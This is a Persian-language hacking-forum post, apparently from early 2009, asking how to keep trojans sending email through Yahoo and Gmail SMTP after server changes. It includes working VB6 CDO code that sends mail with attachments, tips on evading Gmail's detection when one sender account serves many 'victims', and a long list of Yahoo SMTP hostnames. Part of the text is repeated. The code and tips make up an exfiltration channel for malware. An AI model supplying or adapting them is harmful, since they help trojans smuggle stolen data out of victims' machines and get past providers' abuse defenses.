۲۵-بهمن-۱۳۸۷, ۱۳:۲۲:۵۷
سلام
تو این سایت خیلی در مورد ارسال ایمیل بحث شده ولی الان دیگه هیچ کدومشون جواب نمیدن.خواستم یه تایپکی بزنم در این مورد و با کمک دوستان این مشکل رو حل کنیم.
یه چند وقتی هست که فکر کنم با عوض شدن سرور های یاهو و گوگل تروجان هایی که از این روش برای ارسال ایمیل استفاده میکردند از کار افتاده و یا ایمل ارسال نمیکنه یا فقط روی بعضی سیستم ها جواب میده و ایمیل ارسال میکنه.
کسی این مشکل رو نمیتونه حل کنه؟یا کسی راه حل جدیدی نداره؟
نکته اول :اگه حجم ایمیل زیاد باشه جیمیل یه قسمت جزیی از میل رو ارسال میکنه و به دریافت کننده هشدار میده
نکته ی سوم: اگر شما از یک ارسال کننده در چند قربانی استفاده کنید چون جیمیل اپی کاربرانش رو یاداشت میکنه و میبینه که در یک ساعت چند نفر یه اکانت رو لاگین کرده اند احتمال حالت قبلی به وجود میاد و حتی در هنگام ورود شما به سرویس جیمیل از شما کاپچر میپرسه
نکته سوم :اگه تعداد ایمیل ها بالا بره و یا سرعت ارسال بالا باشه باز هم ایمیل ها ارسال نمی شه
راستی اینا هم سرور های جدید یاهو هستش
تو این سایت خیلی در مورد ارسال ایمیل بحث شده ولی الان دیگه هیچ کدومشون جواب نمیدن.خواستم یه تایپکی بزنم در این مورد و با کمک دوستان این مشکل رو حل کنیم.
یه چند وقتی هست که فکر کنم با عوض شدن سرور های یاهو و گوگل تروجان هایی که از این روش برای ارسال ایمیل استفاده میکردند از کار افتاده و یا ایمل ارسال نمیکنه یا فقط روی بعضی سیستم ها جواب میده و ایمیل ارسال میکنه.
کد:
'start SendMail code
Public Function SendMail(strSender As String, strPassword As String, strSmtp As String, strReciever As String, strSubject As String, strAttach As String, strBody As String) As Boolean
Dim iMsg, iConf, Flds
Dim schema As String
If strSender <> "" Or strPassword <> "" Then
On Error GoTo Handler
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
' send one copy with Google SMTP server (with autentication)
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = strSmtp
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = strSender
Flds.Item(schema & "sendpassword") = strPassword
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
DoEvents
.To = strReciever
.From = strSender
.Subject = strSubject
.HTMLBody = strBody
.Sender = strSender
.Organization = "S.M.B Productions"
.ReplyTo = strSender
If strAttach <> "" Then
.AddAttachment (strAttach)
End If
Set .Configuration = iConf
.Send
End With
SendMail = True
Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
Exit Function
End If
Handler:
SendMail = False
End Function
'end SendMail codeکسی این مشکل رو نمیتونه حل کنه؟یا کسی راه حل جدیدی نداره؟
نکته اول :اگه حجم ایمیل زیاد باشه جیمیل یه قسمت جزیی از میل رو ارسال میکنه و به دریافت کننده هشدار میده
نکته ی سوم: اگر شما از یک ارسال کننده در چند قربانی استفاده کنید چون جیمیل اپی کاربرانش رو یاداشت میکنه و میبینه که در یک ساعت چند نفر یه اکانت رو لاگین کرده اند احتمال حالت قبلی به وجود میاد و حتی در هنگام ورود شما به سرویس جیمیل از شما کاپچر میپرسه
نکته سوم :اگه تعداد ایمیل ها بالا بره و یا سرعت ارسال بالا باشه باز هم ایمیل ها ارسال نمی شه
راستی اینا هم سرور های جدید یاهو هستش
کد:
cs101.msg.mud.yahoo.com
cs101.msg.sp1.yahoo.com
cs101.msg.ac4.yahoo.com
cs101.msg.mud.yahoo.com
cs102.msg.mud.yahoo.com
cs103.msg.mud.yahoo.com
cs104.msg.mud.yahoo.com
cs105.msg.mud.yahoo.com
cs106.msg.mud.yahoo.com
cs107.msg.mud.yahoo.com
cs108.msg.mud.yahoo.com
cs109.msg.mud.yahoo.com
cs110.msg.mud.yahoo.com
cs111.msg.mud.yahoo.com
cs112.msg.mud.yahoo.com
cs113.msg.mud.yahoo.com
cs114.msg.mud.yahoo.com
cs115.msg.mud.yahoo.com
cs116.msg.mud.yahoo.com
cs117.msg.mud.yahoo.com
cs118.msg.mud.yahoo.com
cs119.msg.mud.yahoo.com
cs120.msg.mud.yahoo.com
cs121.msg.mud.yahoo.com
cs122.msg.mud.yahoo.com
cs123.msg.mud.yahoo.com
cs124.msg.mud.yahoo.com
cs125.msg.mud.yahoo.com
cs126.msg.mud.yahoo.com
cs127.msg.mud.yahoo.com
cs101.msg.sp1.yahoo.com
cs102.msg.sp1.yahoo.com
cs103.msg.sp1.yahoo.com
cs104.msg.sp1.yahoo.com
cs105.msg.sp1.yahoo.com
cs106.msg.sp1.yahoo.com
cs107.msg.sp1.yahoo.com
cs108.msg.sp1.yahoo.com
cs109.msg.sp1.yahoo.com
cs110.msg.sp1.yahoo.com
cs111.msg.sp1.yahoo.com
cs112.msg.sp1.yahoo.com
cs113.msg.sp1.yahoo.com
cs114.msg.sp1.yahoo.com
cs115.msg.sp1.yahoo.com
cs116.msg.sp1.yahoo.com
cs117.msg.sp1.yahoo.com
cs118.msg.sp1.yahoo.com
cs119.msg.sp1.yahoo.com
cs120.msg.sp1.yahoo.com
cs121.msg.sp1.yahoo.com
cs122.msg.sp1.yahoo.com
cs123.msg.sp1.yahoo.com
cs124.msg.sp1.yahoo.com
cs125.msg.sp1.yahoo.com
cs126.msg.sp1.yahoo.com
cs127.msg.sp1.yahoo.com
cs128.msg.sp1.yahoo.com
cs129.msg.sp1.yahoo.com
cs130.msg.sp1.yahoo.com
cs101.msg.ac4.yahoo.com
cs102.msg.ac4.yahoo.com
cs103.msg.ac4.yahoo.com
cs104.msg.ac4.yahoo.com
cs105.msg.ac4.yahoo.com
cs106.msg.ac4.yahoo.com
cs107.msg.ac4.yahoo.com
cs108.msg.ac4.yahoo.com
cs109.msg.ac4.yahoo.com
cs110.msg.ac4.yahoo.com
cs111.msg.ac4.yahoo.com
cs112.msg.ac4.yahoo.com
cs113.msg.ac4.yahoo.com
cs114.msg.ac4.yahoo.com
cs115.msg.ac4.yahoo.com
cs116.msg.ac4.yahoo.com
cs117.msg.ac4.yahoo.com
cs118.msg.ac4.yahoo.com
cs119.msg.ac4.yahoo.com
cs120.msg.ac4.yahoo.com
cs121.msg.ac4.yahoo.com
cs122.msg.ac4.yahoo.com
cs123.msg.ac4.yahoo.com
cs124.msg.ac4.yahoo.com
cs125.msg.ac4.yahoo.com
cs126.msg.ac4.yahoo.com
cs127.msg.ac4.yahoo.com
cs128.msg.ac4.yahoo.com
cs129.msg.ac4.yahoo.com
cs130.msg.ac4.yahoo.com
cs127.msg.mud.yahoo.com
cs130.msg.sp1.yahoo.com
cs130.msg.ac4.yahoo.com